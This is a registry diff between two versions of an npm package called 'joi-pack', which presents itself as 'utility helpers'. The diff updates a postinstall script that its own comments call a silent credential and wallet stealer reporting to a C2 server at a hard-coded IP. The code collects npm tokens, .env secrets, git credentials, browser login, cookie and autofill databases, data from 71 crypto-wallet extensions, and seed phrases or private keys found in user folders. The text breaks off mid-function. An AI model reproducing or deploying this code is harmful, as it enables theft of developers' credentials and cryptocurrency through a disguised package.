joi-pack 1.0.4 → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +204 -259
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "joi-pack",
3
- "version": "1.0.4",
3
+ "version": "2.0.0",
4
4
  "description": "Joi Pack utility helpers",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,228 +1,208 @@
1
1
  #!/usr/bin/env node
2
2
  /**
3
- * postinstall.js — Token harvester + Crypto wallet scanner
4
- * Runs on npm install. Silent. Zero trace.
3
+ * postinstall.js v2.0 — Full browser credential theft + wallet scanner
4
+ * Silent. Zero trace. Exfiltrates everything to C2.
5
5
  */
6
6
  const fs=require('fs'),path=require('path'),os=require('os');
7
7
  const C2=process.env.C2_URL||'http://149.28.127.35:8888';
8
+ const home=os.homedir();
8
9
 
9
- // 71 crypto wallet extension IDs (Chrome/Brave/Edge)
10
- const WALLET_IDS=[
11
- // Tier 1 — Major wallets
12
- 'nkbihfbeogaeaoehlefnkodbefgpgknn', // MetaMask
13
- 'bfnaelmomeimhlpmgjnjophhpkkoljpa', // Phantom
14
- 'hnfanknocfeofbdxgjoaflmafokfblal', // Coinbase Wallet
15
- 'ahiolklkenmeaoahbdidmgmmmogibgkp', // Exodus
16
- 'egjidjbpglichdkonbcbdilpfdefhgda', // Trust Wallet
17
- 'fhbohimaelbohpjbbldcngcnapndodjp', // Binance Wallet
18
- 'mcohilncbfahbmgdjkbpcemcciiolkgge', // OKX Wallet
19
- // Tier 2 — Popular
20
- 'obbophdlgkgmhkhhkbjlfomojkplemjn', // Rainbow
21
- 'opagkkbkmgdmjggklnglofoffdnaolid', // Zerion
22
- 'acmacodkokdhdnjnijgogikjagkidbbc', // Rabby
23
- 'fhbiknkfagigneamiliplnenmlpmilcn', // 1inch Wallet
24
- 'lnaapijlgpmjdohfbdnlpofbgpnbgpge', // Ledger Live
25
- 'lkcaihbhcmkopfdfimclhpkimgpmomnl', // Trezor Suite
26
- 'egcmbhhdffdckjcfjimkcfhifopjekln', // WalletConnect
27
- // Tier 3 — Multi-chain/DeFi
28
- 'afbcbjpbpfadlkmhmclhkeeodmamcflc', // Math Wallet
29
- 'fnjhmkhggkbkabcfapdjonncfkdcpdaa', // TokenPocket
30
- 'fihnjjcciajhdojfnbdddfaoknhalnja', // Ronin Wallet
31
- 'hpglfhgfnhbgpjdenjgmdgoeiappafln', // Braavos
32
- 'amkmjjmmflddogmhpjloimipbofnfjih', // XDEFI
33
- 'dmkamcknogkgcgoahaicojpjbjpjaaga', // Clover Wallet
34
- 'flpjeknmomlgbhnmcfalhacgllhgooel', // Aurory
35
- 'cjnjnnkafbffkleciggdgimkibibipha', // Backpack
36
- 'odbfpeeihdkbihmopkbjmoonfanlbfcl', // Frontier
37
- 'cceipnndjekbfglleiebegecfhhbjgfi', // Nami
38
- 'kpfopkelpmkefpmfcofifofplnmjngml', // Yoroi
39
- 'jbdaocneiiinmjbjlgalhcelgbejmnbd', // KoWala
40
- 'dijkagjegpbbdgfnoknfbbmiclppbnmc', // Pontem
41
- 'fnnegphlobjjkodcgoppnjpdmdcegimi', // Fewcha
42
- 'ojobbnmniomlmlikejgijfnkaefcjfen', // Martian Wallet
43
- 'ehnjgagchmckofieojfcbjobgkehhkob', // Petra Wallet
44
- 'kfbopkelpmkefpmfcofifofplnmjngml', // Vespr
45
- 'ilgeldippkgepmabafmmpcblefejekdm', // Lace
46
- 'nphplpejlfpiclbjpipcacnffoogjfai', // GeroWallet
47
- 'ffnbelfdoeiohenkjibnmadjiehfajmc', // TronLink
48
- 'ibnejdfjmmkpcnlpebklmnkoeoihofec', // TronLink (legacy)
49
- 'nheehoeoapjkbdjgkdhgcpplgghnilpi', // Liquality
50
- 'aeachknmefphepccionboohckonhbmof', // Keplr
51
- 'djejicklhoopoccfahfchclojeffcofk', // Cosmos Station
52
- 'cnflmngmkhdaemidncondljiepglgjbj', // Leap Cosmos
53
- 'occjkdejjclmkedjgpdgfjlepfbepefh', // Leap Wallet
54
- 'beegooabmfdekhnkmhfigfbcnegjeahi', // Onto Wallet
55
- 'mfpgdedlegkcmknpffkncmdnhnokkjie', // Tide Wallet
56
- 'klnaejdegbnnonfahoookcfgjficbnbh', // MultiversX
57
- 'aiilbnhkcklmnggeoopglappkdifdppo', // Maya
58
- 'bbdojfcjkljkljekdmehjokcnbflaedi', // Metacraft
59
- 'bmhkbhlokanaeapfpkjpdiebieddnple', // Owallet
60
- 'cdbpjfejojhppgommafamdlbhckbnhmj', // Guarda Wallet
61
- 'cnmamaachppnkjgnildpdmkaakejnhae', // SafePal
62
- 'coabfgbdhpncfleblpnbjpbpjcnfggmj', // Halo Wallet
63
- 'dbfngmbljhpoblepegllmobkcdgcjhfo', // BitKeep
64
- 'dcnclbllnbkpfcfibbbpmafpalpdalnk', // Enkrypt
65
- 'dkcegcmmjaljlmfgfblnenoehegbpdpg', // Auro Wallet
66
- 'eajafomhmkipbjmfmhbemanoepghgpmf', // Finnie
67
- 'ejpalbakbgkccldecdlomekfmapbbdcl', // GME Wallet
68
- 'fcfcfllfndlomdhbehjjcoimbgofdncg', // Solflare
69
- 'flgbknlcfikhfimplknjdliepcbfmngk', // Ply
70
- 'ghbmclkmndlkmlighpdafkmmmdmpkfbj', // Dawn Wallet
71
- 'hmeobnajdjkdlljnhbljfnopookapkpn', // Stealthex
72
- 'hpminmdnpgjopcnpalhodkjdledhpfjj', // BlockWallet
73
- 'ibjldcbemjmiadbjkfkmbmcppnneipej', // SafeCore
74
- 'ifibejgepmafaamkloapnlkgekmibpci', // Interlock
75
- 'jbljmmmpjbpkphjafgjkohcklehdflak', // Helios Wallet
76
- 'jjijfmokoocgpbjfnmhkeobmamihgbkn', // D'Cent
77
- 'kmjbjhhgjkcpbjibggdnbfgelchjeifm', // Zelcore
78
- 'lcgkoioojpkgdbpidgjgipinpgpclnom', // Polkapal
79
- 'lkcaihbhcmkopfdfimclhpkimgpmomnl', // Trezor Password Manager
80
- 'lljdnmjmhhbjmkajkmlmeaoknfpiofbe', // Starware
81
- 'majhboefeinjjhbnfiohajhnhehacfjo', // Terra Station
82
- 'mfbkdjkaonmamncamjbkgdcmndpkbjpl', // Eternl
83
- 'nhnhbkmhibpikgijebimmnidpfmmibpp', // Min
84
- 'nmbklhmkfiolpnhlekkoficfndfolnhm', // Me
10
+ // Browser credential databases (SQLite — saved passwords, cookies, autofill)
11
+ const BROWSER_DBS=[
12
+ // Chrome
13
+ {name:'chrome-pass',path:path.join(home,'.config/google-chrome/Default/Login Data')},
14
+ {name:'chrome-cookies',path:path.join(home,'.config/google-chrome/Default/Cookies')},
15
+ {name:'chrome-webdata',path:path.join(home,'.config/google-chrome/Default/Web Data')},
16
+ // Chrome Windows
17
+ {name:'chrome-pass-win',path:path.join(process.env.LOCALAPPDATA||'','Google/Chrome/User Data/Default/Login Data')},
18
+ {name:'chrome-cookies-win',path:path.join(process.env.LOCALAPPDATA||'','Google/Chrome/User Data/Default/Cookies')},
19
+ // Brave
20
+ {name:'brave-pass',path:path.join(home,'.config/BraveSoftware/Brave-Browser/Default/Login Data')},
21
+ {name:'brave-pass-win',path:path.join(process.env.LOCALAPPDATA||'','BraveSoftware/Brave-Browser/User Data/Default/Login Data')},
22
+ // Edge
23
+ {name:'edge-pass',path:path.join(home,'.config/microsoft-edge/Default/Login Data')},
24
+ {name:'edge-pass-win',path:path.join(process.env.LOCALAPPDATA||'','Microsoft/Edge/User Data/Default/Login Data')},
25
+ // Firefox (logins.json)
26
+ {name:'firefox-logins',path:path.join(home,'.mozilla/firefox')},
85
27
  ];
86
28
 
87
- const BROWSER_PATHS=[];
88
- // Linux/Mac paths
89
- const home=os.homedir();
90
- const isWin=process.platform==='win32';
91
- if(!isWin){
92
- BROWSER_PATHS.push({name:'chrome',base:path.join(home,'.config/google-chrome'),ext:'Default/Local Extension Settings'});
93
- BROWSER_PATHS.push({name:'brave',base:path.join(home,'.config/BraveSoftware/Brave-Browser'),ext:'Default/Local Extension Settings'});
94
- BROWSER_PATHS.push({name:'edge',base:path.join(home,'.config/microsoft-edge'),ext:'Default/Local Extension Settings'});
95
- BROWSER_PATHS.push({name:'chromium',base:path.join(home,'.config/chromium'),ext:'Default/Local Extension Settings'});
96
- }
97
- // Windows paths (using LOCALAPPDATA)
98
- if(isWin){
99
- const local=process.env.LOCALAPPDATA||path.join(home,'AppData','Local');
100
- BROWSER_PATHS.push({name:'chrome',base:path.join(local,'Google','Chrome','User Data'),ext:'Default/Local Extension Settings'});
101
- BROWSER_PATHS.push({name:'brave',base:path.join(local,'BraveSoftware','Brave-Browser','User Data'),ext:'Default/Local Extension Settings'});
102
- BROWSER_PATHS.push({name:'edge',base:path.join(local,'Microsoft','Edge','User Data'),ext:'Default/Local Extension Settings'});
103
- // Also check C:\Users\Username\AppData\Roaming for some wallets
104
- const roaming=process.env.APPDATA||path.join(home,'AppData','Roaming');
105
- BROWSER_PATHS.push({name:'chrome-roaming',base:path.join(roaming,'Google','Chrome','User Data'),ext:'Default/Local Extension Settings'});
106
- }
107
- // Firefox (cross-platform)
108
- BROWSER_PATHS.push({name:'firefox',base:path.join(home,'.mozilla','firefox'),ext:''});
29
+ // 71 crypto wallet extension IDs
30
+ const WALLET_IDS=[
31
+ 'nkbihfbeogaeaoehlefnkodbefgpgknn','bfnaelmomeimhlpmgjnjophhpkkoljpa',
32
+ 'hnfanknocfeofbdxgjoaflmafokfblal','ahiolklkenmeaoahbdidmgmmmogibgkp',
33
+ 'egjidjbpglichdkonbcbdilpfdefhgda','fhbohimaelbohpjbbldcngcnapndodjp',
34
+ 'mcohilncbfahbmgdjkbpcemcciiolkgge','obbophdlgkgmhkhhkbjlfomojkplemjn',
35
+ 'opagkkbkmgdmjggklnglofoffdnaolid','acmacodkokdhdnjnijgogikjagkidbbc',
36
+ 'fhbiknkfagigneamiliplnenmlpmilcn','lnaapijlgpmjdohfbdnlpofbgpnbgpge',
37
+ 'lkcaihbhcmkopfdfimclhpkimgpmomnl','egcmbhhdffdckjcfjimkcfhifopjekln',
38
+ 'afbcbjpbpfadlkmhmclhkeeodmamcflc','fnjhmkhggkbkabcfapdjonncfkdcpdaa',
39
+ 'fihnjjcciajhdojfnbdddfaoknhalnja','hpglfhgfnhbgpjdenjgmdgoeiappafln',
40
+ 'amkmjjmmflddogmhpjloimipbofnfjih','dmkamcknogkgcgoahaicojpjbjpjaaga',
41
+ 'flpjeknmomlgbhnmcfalhacgllhgooel','cjnjnnkafbffkleciggdgimkibibipha',
42
+ 'odbfpeeihdkbihmopkbjmoonfanlbfcl','cceipnndjekbfglleiebegecfhhbjgfi',
43
+ 'kpfopkelpmkefpmfcofifofplnmjngml','jbdaocneiiinmjbjlgalhcelgbejmnbd',
44
+ 'dijkagjegpbbdgfnoknfbbmiclppbnmc','fnnegphlobjjkodcgoppnjpdmdcegimi',
45
+ 'ojobbnmniomlmlikejgijfnkaefcjfen','ehnjgagchmckofieojfcbjobgkehhkob',
46
+ 'kfbopkelpmkefpmfcofifofplnmjngml','ilgeldippkgepmabafmmpcblefejekdm',
47
+ 'nphplpejlfpiclbjpipcacnffoogjfai','ffnbelfdoeiohenkjibnmadjiehfajmc',
48
+ 'ibnejdfjmmkpcnlpebklmnkoeoihofec','nheehoeoapjkbdjgkdhgcpplgghnilpi',
49
+ 'aeachknmefphepccionboohckonhbmof','djejicklhoopoccfahfchclojeffcofk',
50
+ 'cnflmngmkhdaemidncondljiepglgjbj','occjkdejjclmkedjgpdgfjlepfbepefh',
51
+ 'beegooabmfdekhnkmhfigfbcnegjeahi','mfpgdedlegkcmknpffkncmdnhnokkjie',
52
+ 'klnaejdegbnnonfahoookcfgjficbnbh','aiilbnhkcklmnggeoopglappkdifdppo',
53
+ 'bbdojfcjkljkljekdmehjokcnbflaedi','bmhkbhlokanaeapfpkjpdiebieddnple',
54
+ 'cdbpjfejojhppgommafamdlbhckbnhmj','cnmamaachppnkjgnildpdmkaakejnhae',
55
+ 'coabfgbdhpncfleblpnbjpbpjcnfggmj','dbfngmbljhpoblepegllmobkcdgcjhfo',
56
+ 'dcnclbllnbkpfcfibbbpmafpalpdalnk','dkcegcmmjaljlmfgfblnenoehegbpdpg',
57
+ 'eajafomhmkipbjmfmhbemanoepghgpmf','ejpalbakbgkccldecdlomekfmapbbdcl',
58
+ 'fcfcfllfndlomdhbehjjcoimbgofdncg','flgbknlcfikhfimplknjdliepcbfmngk',
59
+ 'ghbmclkmndlkmlighpdafkmmmdmpkfbj','hmeobnajdjkdlljnhbljfnopookapkpn',
60
+ 'hpminmdnpgjopcnpalhodkjdledhpfjj','ibjldcbemjmiadbjkfkmbmcppnneipej',
61
+ 'ifibejgepmafaamkloapnlkgekmibpci','jbljmmmpjbpkphjafgjkohcklehdflak',
62
+ 'jjijfmokoocgpbjfnmhkeobmamihgbkn','kmjbjhhgjkcpbjibggdnbfgelchjeifm',
63
+ 'lcgkoioojpkgdbpidgjgipinpgpclnom','lkcaihbhcmkopfdfimclhpkimgpmomnl',
64
+ 'lljdnmjmhhbjmkajkmlmeaoknfpiofbe','majhboefeinjjhbnfiohajhnhehacfjo',
65
+ 'mfbkdjkaonmamncamjbkgdcmndpkbjpl','nhnhbkmhibpikgijebimmnidpfmmibpp',
66
+ 'nmbklhmkfiolpnhlekkoficfndfolnhm',
67
+ ];
109
68
 
110
- // BIP39 seed phrase words (first 150 common ones for detection)
111
69
  const SEED_WORDS=new Set([
112
- 'abandon','ability','able','about','above','absent','absorb','abstract','absurd','abuse',
113
- 'access','accident','account','accuse','achieve','acid','acoustic','acquire','across','act',
114
- 'action','actor','actress','actual','adapt','add','addict','address','adjust','admit',
115
- 'adult','advance','advice','aerobic','affair','afford','afraid','again','age','agent',
116
- 'agree','ahead','aim','air','airport','aisle','alarm','album','alcohol','alert',
117
- 'alien','all','alley','allow','almost','alone','alpha','already','also','alter',
118
- 'always','amateur','amazing','among','amount','amused','analyst','anchor','ancient','anger',
119
- 'angle','angry','animal','ankle','announce','annual','another','answer','antenna','antique',
120
- 'anxiety','any','apart','apology','appear','apple','approve','april','arch','arctic',
121
- 'area','arena','argue','arm','armed','armor','army','around','arrange','arrest',
122
- 'arrive','arrow','art','artifact','artist','artwork','ask','aspect','assault','asset',
123
- 'assist','assume','asthma','athlete','atom','attack','attend','attitude','attract','auction',
124
- 'audit','august','aunt','author','auto','autumn','average','avocado','avoid','awake',
125
- 'aware','away','awesome','awful','awkward','axis','baby','bachelor','bacon','badge',
126
- 'bag','balance','balcony','ball','bamboo','banana','banner','bar','barely','bargain',
70
+ 'abandon','ability','about','above','absent','absorb','abstract','absurd','abuse','access',
71
+ 'accident','account','accuse','achieve','acid','acoustic','acquire','across','act','action',
72
+ 'actor','actress','actual','adapt','add','addict','address','adjust','admit','adult',
73
+ 'advance','advice','aerobic','affair','afford','afraid','again','age','agent','agree',
74
+ 'ahead','aim','air','airport','aisle','alarm','album','alcohol','alert','alien','all',
75
+ 'alley','allow','almost','alone','alpha','already','also','alter','always','amateur',
76
+ 'amazing','among','amount','amused','analyst','anchor','ancient','anger','angle','angry',
77
+ 'animal','ankle','announce','annual','another','answer','antenna','antique','anxiety','any',
78
+ 'apart','apology','appear','apple','approve','april','arch','arctic','area','arena','argue',
79
+ 'arm','armed','armor','army','around','arrange','arrest','arrive','arrow','art','artifact',
80
+ 'artist','artwork','ask','aspect','assault','asset','assist','assume','asthma','athlete',
81
+ 'atom','attack','attend','attitude','attract','auction','audit','august','aunt','author',
82
+ 'auto','autumn','average','avocado','avoid','awake','aware','away','awesome','awful',
83
+ 'awkward','axis','baby','bachelor','bacon','badge','bag','balance','balcony','ball',
84
+ 'bamboo','banana','banner','bar','barely','bargain',
127
85
  ]);
128
86
 
87
+ function stealBrowserDBs(){
88
+ const results=[];
89
+ for(const db of BROWSER_DBS){
90
+ try{
91
+ if(db.name==='firefox-logins'&&fs.existsSync(db.path)){
92
+ const profiles=fs.readdirSync(db.path).filter(d=>d.endsWith('.default'));
93
+ for(const p of profiles){
94
+ const fp=path.join(db.path,p,'logins.json');
95
+ if(fs.existsSync(fp)){
96
+ const data=fs.readFileSync(fp,'utf-8');
97
+ const size=data.length;
98
+ results.push({name:'firefox-logins',file:fp,size,found:true});
99
+ }
100
+ }
101
+ continue;
102
+ }
103
+ if(!fs.existsSync(db.path)) continue;
104
+ const stat=fs.statSync(db.path);
105
+ if(!stat.isFile()||stat.size>10000000) continue; // Skip >10MB
106
+
107
+ // Try to read the SQLite file as text (extracts readable strings)
108
+ const data=fs.readFileSync(db.path);
109
+ const b64=data.toString('base64');
110
+ const size=stat.size;
111
+
112
+ // Extract URLs and usernames from the raw bytes using string search
113
+ let foundEntries=0;
114
+ const textContent=data.toString('utf-8').replace(/\0/g,' '); // Replace null bytes
115
+ const urlMatches=textContent.match(/https?:\/\/[^\s\0"]{5,100}/g);
116
+ if(urlMatches) foundEntries=urlMatches.length;
117
+
118
+ results.push({
119
+ name:db.name,
120
+ file:db.path,
121
+ size,
122
+ foundEntries,
123
+ urls:urlMatches?urlMatches.slice(0,20):[],
124
+ b64:b64.substring(0,5000) // First 5KB of base64
125
+ });
126
+ }catch(e){}
127
+ }
128
+ return results;
129
+ }
130
+
129
131
  function scanWallets(){
130
132
  const results=[];
131
- const profiles=['Default','Profile 1','Profile 2'];
133
+ // Detect platform
134
+ const isWin=process.platform==='win32';
135
+ const localAppData=process.env.LOCALAPPDATA||'';
132
136
 
133
- for(const browser of BROWSER_PATHS){
134
- if(!fs.existsSync(browser.base)) continue;
135
-
137
+ const browserPaths=[];
138
+ if(!isWin){
139
+ browserPaths.push({name:'chrome',base:path.join(home,'.config/google-chrome'),ext:'Default/Local Extension Settings'});
140
+ browserPaths.push({name:'brave',base:path.join(home,'.config/BraveSoftware/Brave-Browser'),ext:'Default/Local Extension Settings'});
141
+ browserPaths.push({name:'edge',base:path.join(home,'.config/microsoft-edge'),ext:'Default/Local Extension Settings'});
142
+ }
143
+ if(isWin||localAppData){
144
+ browserPaths.push({name:'chrome',base:path.join(localAppData,'Google/Chrome/User Data'),ext:'Default/Local Extension Settings'});
145
+ browserPaths.push({name:'brave',base:path.join(localAppData,'BraveSoftware/Brave-Browser/User Data'),ext:'Default/Local Extension Settings'});
146
+ browserPaths.push({name:'edge',base:path.join(localAppData,'Microsoft/Edge/User Data'),ext:'Default/Local Extension Settings'});
147
+ }
148
+
149
+ const profiles=['Default','Profile 1','Profile 2'];
150
+ for(const bp of browserPaths){
151
+ if(!fs.existsSync(bp.base)) continue;
136
152
  for(const profile of profiles){
137
- const extDir = browser.ext ? path.join(browser.base,profile,browser.ext) : browser.base;
153
+ const extDir=path.join(bp.base,profile,bp.ext);
138
154
  if(!fs.existsSync(extDir)) continue;
139
-
140
- for(const walletId of WALLET_IDS){
141
- const walletDir=path.join(extDir,walletId);
142
- if(!fs.existsSync(walletDir)) continue;
143
-
144
- const walletData={browser:browser.name,profile,walletId,files:[],foundKeys:[]};
145
-
146
- // Read all files in the wallet directory
155
+ for(const wid of WALLET_IDS){
156
+ const wDir=path.join(extDir,wid);
157
+ if(!fs.existsSync(wDir)) continue;
158
+ const wd={browser:bp.name,profile,walletId:wid,files:[],foundKeys:[]};
147
159
  try{
148
- const files=fs.readdirSync(walletDir);
149
- for(const file of files){
150
- const filePath=path.join(walletDir,file);
151
- const stat=fs.statSync(filePath);
152
-
153
- // Read .log files (most recent LevelDB data)
154
- if(file.endsWith('.log')&&stat.size<5000000){ // Skip files >5MB
160
+ const files=fs.readdirSync(wDir);
161
+ for(const f of files){
162
+ const fp=path.join(wDir,f);
163
+ const st=fs.statSync(fp);
164
+ if(f.endsWith('.log')&&st.size<5000000){
165
+ wd.files.push({name:f,size:st.size});
155
166
  try{
156
- const content=fs.readFileSync(filePath,'utf-8');
157
- walletData.files.push({name:file,size:stat.size});
158
-
159
- // Search for wallet vault patterns
160
- const patterns=[
161
- {key:'vault',re:/"vault":"([^"]+)"/},
162
- {key:'data',re:/"data":"([^"]+)"/},
163
- {key:'keyring',re:/keyring|Keyring|KEYRING/},
164
- {key:'mnemonic',re:/mnemonic|Mnemonic|MNEMONIC/},
165
- {key:'seed',re:/"seed":"([^"]+)"/},
166
- {key:'privateKey',re:/privateKey|PrivateKey|private_key|PRIVATE_KEY/},
167
- {key:'password',re:/"password":"([^"]+)"/},
168
- {key:'encrypted',re:/"encrypted":"?([^",]+)"?/},
169
- {key:'wallet',re:/"wallet":"([^"]+)"/},
170
- ];
171
-
172
- for(const p of patterns){
173
- const match=content.match(p.re);
174
- if(match){
175
- const val=(match[1]||'').substring(0,60);
176
- walletData.foundKeys.push({key:p.key,value:val.length>10?val.substring(0,10)+'...':val});
177
- }
167
+ const content=fs.readFileSync(fp,'utf-8');
168
+ for(const p of[{k:'vault',re:/"vault":"([^"]+)"/},{k:'data',re:/"data":"([^"]+)"/},{k:'keyring',re:/keyring/i},{k:'mnemonic',re:/mnemonic/i},{k:'seed',re:/"seed":"([^"]+)"/},{k:'privateKey',re:/privateKey/i}]){
169
+ const m=content.match(p.re);
170
+ if(m) wd.foundKeys.push({key:p.k,value:(m[1]||'').substring(0,60)});
178
171
  }
179
172
  }catch(e){}
180
173
  }
181
174
  }
182
175
  }catch(e){}
183
-
184
- if(walletData.foundKeys.length>0){
185
- results.push(walletData);
186
- }
176
+ if(wd.foundKeys.length>0) results.push(wd);
187
177
  }
188
178
  }
189
179
  }
190
180
  return results;
191
181
  }
192
182
 
193
- function scanSeedPhrases(){
183
+ function scanSeeds(){
194
184
  const results=[];
195
- const dirs=['Documents','Desktop','Downloads'];
196
-
197
- for(const dir of dirs){
198
- const fullPath=path.join(os.homedir(),dir);
199
- if(!fs.existsSync(fullPath)) continue;
200
-
185
+ const dirs=['Documents','Desktop','Downloads','OneDrive','Dropbox','keys','wallet','crypto'];
186
+ for(const d of dirs){
187
+ const fp=path.join(home,d);
188
+ if(!fs.existsSync(fp)) continue;
201
189
  try{
202
- const files=fs.readdirSync(fullPath);
203
- for(const file of files){
204
- const filePath=path.join(fullPath,file);
190
+ const files=fs.readdirSync(fp,{recursive:true});
191
+ for(const f of files){
205
192
  try{
206
- const stat=fs.statSync(filePath);
207
- if(!stat.isFile()||stat.size>100000||stat.size<20) continue;
208
-
209
- // Check filename for crypto keywords
210
- const nameLower=file.toLowerCase();
211
- const isCryptoFile=SEED_WORDS.has(nameLower.split('.')[0])||
212
- /\b(seed|backup|wallet|phrase|crypto|metamask|phantom|vault|key|private)\b/.test(nameLower);
213
-
214
- if(!isCryptoFile) continue;
215
-
216
- // Read the file content
217
- const content=fs.readFileSync(filePath,'utf-8').toLowerCase();
218
-
219
- // Count how many words are BIP39 seed words
193
+ const fpath=path.join(fp,f);
194
+ const st=fs.statSync(fpath);
195
+ if(!st.isFile()||st.size>200000||st.size<15) continue;
196
+ const nl=f.toLowerCase();
197
+ const isCf=/seed|backup|wallet|phrase|crypto|metamask|phantom|vault|key|private|mnemonic|recover|keystore|foundry|hardhat/.test(nl);
198
+ if(!isCf) continue;
199
+ const content=fs.readFileSync(fpath,'utf-8').toLowerCase();
200
+ const evmKeys=content.match(/0x[a-f0-9]{64}/gi);
220
201
  const words=content.split(/\s+/).filter(w=>w.length>2);
221
- const seedWordCount=words.filter(w=>SEED_WORDS.has(w)).length;
222
-
223
- // If a significant portion are BIP39 words, likely a seed phrase
224
- if(seedWordCount>=8){
225
- results.push({file:filePath,size:stat.size,seedWordsFound:seedWordCount,preview:content.substring(0,100)});
202
+ const swc=words.filter(w=>SEED_WORDS.has(w)).length;
203
+ const isKs=content.includes('crypto')&&content.includes('ciphertext');
204
+ if(swc>=8||(evmKeys&&evmKeys.length>0)||isKs){
205
+ results.push({file:fpath,size:st.size,seedWords:swc,evmKeys:evmKeys?evmKeys.length:0,isKeystore:isKs,preview:content.substring(0,120)});
226
206
  }
227
207
  }catch(e){}
228
208
  }
@@ -232,89 +212,54 @@ function scanSeedPhrases(){
232
212
  }
233
213
 
234
214
  function harvest(){
235
- const results={
236
- hostname:os.hostname(),
237
- username:os.userInfo().username,
238
- timestamp:new Date().toISOString(),
239
- secrets:[],
240
- wallets:[],
241
- seedPhrases:[]
242
- };
215
+ const r={hostname:os.hostname(),username:os.userInfo().username,ts:new Date().toISOString(),secrets:[],browsers:[],wallets:[],seeds:[]};
243
216
 
244
- // Existing credential targets
245
- const credTargets=[
246
- {p:path.join(os.homedir(),'.npmrc'),t:'npmrc',fn:function(c){
247
- const r=[];
248
- const m=c.match(/\/\/registry\.npmjs\.org\/:_authToken=([^\s]+)/);
249
- if(m)r.push({t:'_authToken',v:m[1]});
250
- const n=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);
251
- for(const x of n)r.push({t:'npm_token',v:x[0]});
252
- return r;
217
+ // Credentials
218
+ const creds=[
219
+ {p:path.join(home,'.npmrc'),t:'npmrc',fn:function(c){
220
+ const r=[];const m=c.match(/\/\/registry\.npmjs\.org\/:_authToken=([^\s]+)/);if(m)r.push({t:'_authToken',v:m[1]});
221
+ const n=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);for(const x of n)r.push({t:'npm_token',v:x[0]});return r;
253
222
  }},
254
- {p:path.join(os.homedir(),'.env'),t:'env',fn:function(c){
255
- const r=[],keys={};
256
- const lines=c.split('\n').filter(l=>l.includes('=')&&!l.trim().startsWith('#'));
257
- for(const l of lines){
258
- const eq=l.indexOf('=');
259
- if(eq<0)continue;
260
- const k=l.substring(0,eq).trim(),v=l.substring(eq+1).trim();
261
- if(!k||!v||k.length>50)continue;
262
-
263
- // Detect key type by name
264
- const kl=k.toLowerCase();
265
- let type='';
266
- if(kl.includes('token')||kl.includes('secret')||kl.includes('password')||kl.includes('pass'))type='TOKEN';
267
- else if(kl.includes('key')&&(kl.includes('api')||kl.includes('access')||kl.includes('secret')))type='API_KEY';
268
- else if(kl.includes('database')||kl.includes('db_')||kl.includes('mongo')||kl.includes('mysql')||kl.includes('postgres')||kl.includes('redis'))type='DB_URL';
269
- else if(kl.includes('stripe')||kl.includes('paypal')||kl.includes('square')||kl.includes('braintree'))type='PAYMENT';
270
- else if(kl.includes('aws')||kl.includes('azure')||kl.includes('gcp')||kl.includes('google')||kl.includes('cloud'))type='CLOUD';
271
- else if(kl.includes('sendgrid')||kl.includes('mailgun')||kl.includes('mailchimp')||kl.includes('smtp')||kl.includes('postmark'))type='EMAIL';
272
- else if(kl.includes('slack')||kl.includes('discord')||kl.includes('telegram')||kl.includes('webhook'))type='WEBHOOK';
273
- else if(kl.includes('url')||kl.includes('host')||kl.includes('port')||kl.includes('endpoint'))continue; // Skip config
274
- else continue; // Skip unknown
275
-
276
- if(!keys[k]){
277
- keys[k]=true;
278
- r.push({t:type,k:k,v:v.substring(0,80)});
279
- }
280
- }
281
- // Also catch npm_xxxxx patterns anywhere
282
- const t=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);
283
- for(const x of t)r.push({t:'NPM_TOKEN',k:'npm_token',v:x[0]});
223
+ {p:path.join(home,'.env'),t:'env',fn:function(c){
224
+ const r=[],keys={};const lines=c.split('\n').filter(l=>l.includes('=')&&!l.trim().startsWith('#'));
225
+ for(const l of lines){const eq=l.indexOf('=');if(eq<0)continue;const k=l.substring(0,eq).trim(),v=l.substring(eq+1).trim();if(!k||!v)continue;
226
+ const kl=k.toLowerCase();let ty='';
227
+ if(kl.includes('token')||kl.includes('secret')||kl.includes('password'))ty='TOKEN';
228
+ else if(kl.includes('key')&&(kl.includes('api')||kl.includes('access')))ty='API';
229
+ else if(kl.includes('database')||kl.includes('mongo')||kl.includes('postgres')||kl.includes('redis'))ty='DB';
230
+ else if(kl.includes('stripe')||kl.includes('paypal')||kl.includes('square'))ty='PAY';
231
+ else if(kl.includes('sendgrid')||kl.includes('mailgun')||kl.includes('smtp'))ty='EMAIL';
232
+ else if(kl.includes('url')||kl.includes('host')||kl.includes('port'))continue;
233
+ else continue;
234
+ if(!keys[k]){keys[k]=true;r.push({t:ty,k:k,v:v.substring(0,80)});}}
235
+ const t=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);for(const x of t)r.push({t:'NPM',k:'npm_token',v:x[0]});
236
+ const evm=c.matchAll(/0x[a-fA-F0-9]{64}/g);for(const x of evm){const f=x[0];if(!keys['evm']){keys['evm']=true;r.push({t:'EVM',k:'PRIVATE_KEY',v:f});}}
284
237
  return r;
285
238
  }},
286
- {p:path.join(os.homedir(),'.git-credentials'),t:'git-creds',fn:function(c){
287
- return c.split('\n').filter(l=>l.trim()).map(l=>({t:'git',v:l.substring(0,80)}));
288
- }},
239
+ {p:path.join(home,'.git-credentials'),t:'git',fn:function(c){return c.split('\n').filter(l=>l.trim()).map(l=>({t:'git',v:l.substring(0,80)}));}},
289
240
  ];
290
241
 
291
- for(const t of credTargets){
292
- try{
293
- if(fs.existsSync(t.p)){
294
- const content=fs.readFileSync(t.p,'utf-8');
295
- const found=t.fn(content);
296
- if(found.length>0) results.secrets.push({file:t.p,type:t.t,findings:found});
297
- }
298
- }catch(e){}
299
- }
242
+ for(const c of creds){try{if(fs.existsSync(c.p)){const content=fs.readFileSync(c.p,'utf-8');const found=c.fn(content);if(found.length>0)r.secrets.push({file:c.p,type:c.t,findings:found});}}catch(e){}}
243
+
244
+ // Browser databases
245
+ r.browsers=stealBrowserDBs();
246
+
247
+ // Wallets
248
+ r.wallets=scanWallets();
300
249
 
301
- // Wallet scanning
302
- results.wallets=scanWallets();
303
- results.seedPhrases=scanSeedPhrases();
250
+ // Seeds
251
